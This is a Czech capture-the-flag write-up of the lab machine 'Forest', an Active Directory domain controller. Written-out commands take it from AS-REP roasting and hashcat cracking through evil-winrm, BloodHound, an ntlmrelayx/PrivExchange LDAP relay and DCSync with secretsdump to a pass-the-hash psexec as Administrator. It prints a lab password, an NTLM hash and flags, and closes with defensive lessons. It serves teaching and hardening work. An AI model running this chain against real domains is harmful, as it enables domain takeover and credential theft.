Forest
Úvod a kontext
Forest je ukázkový Active Directory řetězec, kde se nevyplácí hledat webový exploit, ale správně číst doménové protokoly. Z portů 88, 389, 445 a 5985 je hned patrné, že jde o doménový kontroler, takže největší smysl dává práce s Kerberem, LDAP a delegovanými oprávněními v AD.
Foothold zde stojí na AS-REP roastu účtu svc-alfresco. Eskalace už není lokální Windows exploit, ale čistá doménová logika: BloodHound ukáže cestu přes skupinu Exchange Windows Permissions, PrivExchange a LDAP relay, takže výsledkem je DCSync a hash administrátora.
Počáteční průzkum
Síťová stopa doménového kontroleru
První nmap je tady důležitý hlavně kvůli roli hostu. Kombinace Kerberosu, LDAP, SMB a WinRM ukazuje na doménový kontroler, takže další enumerace má mířit do AD, ne do webové aplikace.
nmap -p 1-65535 -T4 -A -sC -v $IP
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-11-02 21:07:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[... výstup zkrácen ...]
Enumerace domény bez přihlášení
Jakmile je zřejmé, že jde o AD, má smysl zkusit, co všechno doména prozradí ještě bez platných přihlašovacích údajů. GetADUsers.py vytáhne seznam účtů a GetNPUsers.py ověří, zda některý z nich nemá vypnutý Kerberos pre-auth.
./impacket/examples/GetADUsers.py -all -dc-ip 10.10.10.161 htb.local/
./impacket/examples/GetNPUsers.py -format hashcat -usersfile ../../Forest-users.txt -outputfile ../../Forest-hashes.asreproast -dc-ip $IP htb.local/
Analýza zjištění
AS-REP roast účtu svc-alfresco
AS-REP roast je užitečný právě proto, že není potřeba znát heslo předem. Pokud má účet vypnutý pre-auth, doménový kontroler vrátí data zašifrovaná jeho heslem a ta lze lámat offline. Tady z toho vypadne účet svc-alfresco s heslem s3rvice, což je okamžitě použitelný foothold, protože na hostu běží WinRM.
hashcat -m 18200 --force -a 3 ../../Forest-hashes.asreproast
svc-alfresco:s3rvice
BloodHound a skupina Exchange Windows Permissions
Na Forestu nestačí jen dostat shell. Rozhodující je zjistit, jaká delegovaná práva ten účet v doméně opravdu má. Proto po přihlášení dává smysl nasadit SharpHound a nechat BloodHound spočítat reálné cesty k vyšším oprávněním.
BloodHound zde ukáže, že svc-alfresco lze přidat do Exchange Windows Permissions. To samo o sobě ještě neznamená Domain Admin, ale v kombinaci s PrivExchange a ntlmrelayx už jde přes LDAP prosadit změnu oprávnění tak, aby účet získal schopnost DCSync.
Získání přístupu
Přihlášení jako svc-alfresco
Po cracknutí hesla je nejrozumnější přejít na WinRM. Je to stabilní shell, který dává plný PowerShell kontext a dovolí bez improvizace spustit sběr dat pro BloodHound.
./evil-winrm/evil-winrm.rb -i 10.10.10.161 -u svc-alfresco -p 's3rvice'
user.txt: e5e4e47ae7022664cda6eb013fb0d9ed
upload /home/hack/Desktop/public_web/ps1/SharpHound.ps1
Import-Module ./SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Verbose
Eskalace oprávnění
PrivExchange, relay a DCSync
Jakmile BloodHound ukáže vztah ke skupině Exchange Windows Permissions, navazuje klasická doménová eskalace. Účet se přidá do skupiny, ntlmrelayx se připraví proti LDAP a přes PrivExchange se vynutí autentizace, kterou relay zneužije ke změně oprávnění účtu svc-alfresco. Tím vznikne DCSync schopnost a secretsdump.py už může vytáhnout hash administrátora přímo z domény.
net group "Exchange Windows Permissions" svc-alfresco /add
./impacket/examples/ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco
http://localhost/privexchange
./impacket/examples/secretsdump.py htb.local/svc-alfresco:s3rvice@forest.htb.local
./impacket/examples/psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@forest.htb.local powershell.exe
gc root.txt
f048153f202bbb2f82622b04d79129cc
Shrnutí klíčových poznatků
- Rozhodující nebyl jeden exploit, ale správná volba směru: z portů bylo jasné, že hlavní povrch tvoří Active Directory a Kerberos.
- Foothold vznikl přes účet bez pre-auth, takže i bez počátečních přihlašovacích údajů šlo získat crackovatelný Kerberos materiál.
- Root část ukazuje typicky doménový problém: nebezpečná delegace práv v AD může být stejně závažná jako přímé členství v administrátorských skupinách.
Co si odnést do praxe
- U servisních účtů je potřeba hlídat Kerberos pre-auth. Účet bez této ochrany nemusí být vystavený na žádné webové stránce, ale stejně může dát útočníkovi crackovatelný hash a první přístup do domény.
- Delegovaná Exchange oprávnění, relay cesty a DCSync práva je nutné auditovat stejně přísně jako členství v
Domain Admins. V praxi často vypadají nenápadněji, ale dopad mají stejný. - LDAP signing, channel binding a omezení NTLM relay výrazně zvedají cenu útoku. Forest dobře ukazuje, že jakmile relay proti LDAP projde, chyba už není lokální, ale doménová.